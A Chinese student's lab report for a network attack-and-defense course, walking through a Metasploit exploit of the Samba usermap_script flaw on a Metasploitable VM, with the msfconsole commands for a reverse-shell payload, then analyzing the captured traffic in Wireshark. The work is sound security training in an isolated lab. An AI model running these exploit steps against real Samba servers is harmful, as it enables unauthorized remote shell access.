20252808 2025-2026-2 《网络攻防实践》第七次作业
20252808 2025-2026-2 《网络攻防实践》第七次作业
一. 实验内容
1.1 实验内容概述
(1)使用Metasploit进行Linux远程渗透攻击
使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell;
④设置渗透攻击参数;
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
1.2 实验相关知识概述
1.Samba 服务漏洞原理
Samba 服务中,负责在 SAM 数据库更新用户口令的代码未对用户输入进行过滤,就传输给了/bin/sh 。当调用smb.conf中定义的外部脚本时,若通过对/bin/sh的 MS - RPC 调用提交恶意输入,攻击者就能以 nobody 用户权限执行任意命令 。此次实验利用的usermap_script安全漏洞,就是基于该原理,可被攻击者利用来获取目标 Linux 靶机的访问权限 。
2. Metasploit
①基本概念:Metasploit 是领先的开源渗透测试框架,由 H.D.Moore 在 2003 年发布 ,后被 Rapid7 收购。它具有模块化架构,主要模块包括渗透攻击模块(exploits)、攻击载荷模块(payloads)、辅助模块(auxiliary)等。渗透攻击模块用于针对特定漏洞发起攻击;攻击载荷模块负责在目标系统上执行特定操作,如获取远程 shell ;辅助模块可实现扫描、嗅探等功能 。
②使用流程:使用前需启动并配置数据库(如 PostgreSQL ),可通过systemctl start postgresql启动数据库 ,msfdb init初始化数据库。启动 Metasploit 可选择 msfconsole(命令行界面)、msfgui(图形界面)、msfweb(基于 Web 的界面 )等方式。以 msfconsole 为例,启动后通过一系列命令选择渗透攻击模块、攻击载荷,设置目标地址(RHOST )、本地地址(LHOST )等参数后执行攻击 。
二. 实验过程
2.1 使用Metasploit进行Linux远程渗透攻击
2.1.1 实验要求
使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell;
④设置渗透攻击参数;
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
2.1.2 实验过程展示
首先启动Kali虚拟机与Metasploitable虚拟机,启动完成后,在两台虚拟机中分别执行对应命令查看其网络信息。经查看,Kali虚拟机的IP地址为192.168.200.3,Metasploitable虚拟机的IP地址为192.168.200.123。使用ping命令检查二者的连通性,可以ping通说明连通性正常


然后在kali虚拟机中切换root权限后输入命令msfconsole启动Metasploit渗透软件

输入命令search usermap_script查找到要使用的usermap_script安全漏洞

输入命令use exploit/multi/samba/usermap_script使用渗透攻击模块

输入命令show payloads查看与该渗透攻击模块相兼容的攻击载荷

输入命令set payload cmd/unix/reverse设置选择反弹攻击载荷,输入命令options查看需配置的参数


输入命令与对应的靶机和攻击机IP地址,将Metasploitable虚拟机设置为靶机,将kali虚拟机设置为攻击机
set LHOST 192.168.200.3
set RHOST 192.168.200.123
show options

输入exploit或run开始攻击,输入ifconfig查看网络信息,显示的是靶机的网络信息(IP地址192.168.200.123),攻击成功


2.2 攻防对抗实践
攻击方kali,防守方Metasploitable。类似2.1当中的设置好靶机IP与攻击机IP后,打开wireshark准备抓包。输入exploit攻击成功后,wireshark监听到大量的网络流量数据包



依次输入命令shell和id查看shell权限账户及其所在的权限组,输入命令whoami查看到当前账户是root权限。

在顶部过滤栏输入以下过滤语句:
tcp.stream eq 0
以一个数据包为例:分析可知攻击类型为SMB,攻击者IP为192.168.200.3,目标IP为192.168.200.123:

通过跟踪第一个SMB数据包的TCP流,可以分析得知:
攻击者为192.168.200.3,并从4444号端口进行攻击渗透,其余漏洞信息也可查看到。

右键选择Follow—>TCP流,进行详细信息查看,可以看到攻击机利用4444端口与靶机建立telnet服务:


三. 学习中遇到的问题及解决
问题1:kali无法与Metasploit连接成功。
解决方案:花费很长时间仍不行,最后使用同学电脑进行实验,实验成功。详情可见2.1.2中第2小节。
问题2:在攻击成功后无法显示靶机对话框。
解决方案:重启虚拟机后重新进行实验即可。
四. 学习感悟、思考等
在本次实验中,与上次实验类似的是实验目标主要是学习掌握网络攻防技术中如何使用msfconsole工具对于靶机的漏洞攻击,不同之处在于此次实验使用的是Metasploit虚拟机进行Linux远程渗透攻击。实验期间,我深入了解了漏洞技术,并掌握了防范与应对漏洞攻击的举措,对Windows系统远程渗透攻击的认知更为透彻。同时,此次实验拓展了我在网络攻防技术领域的知识储备,强化了相关知识要点,为后续开展网络攻防实验筑牢根基。
浙公网安备 33010602011771号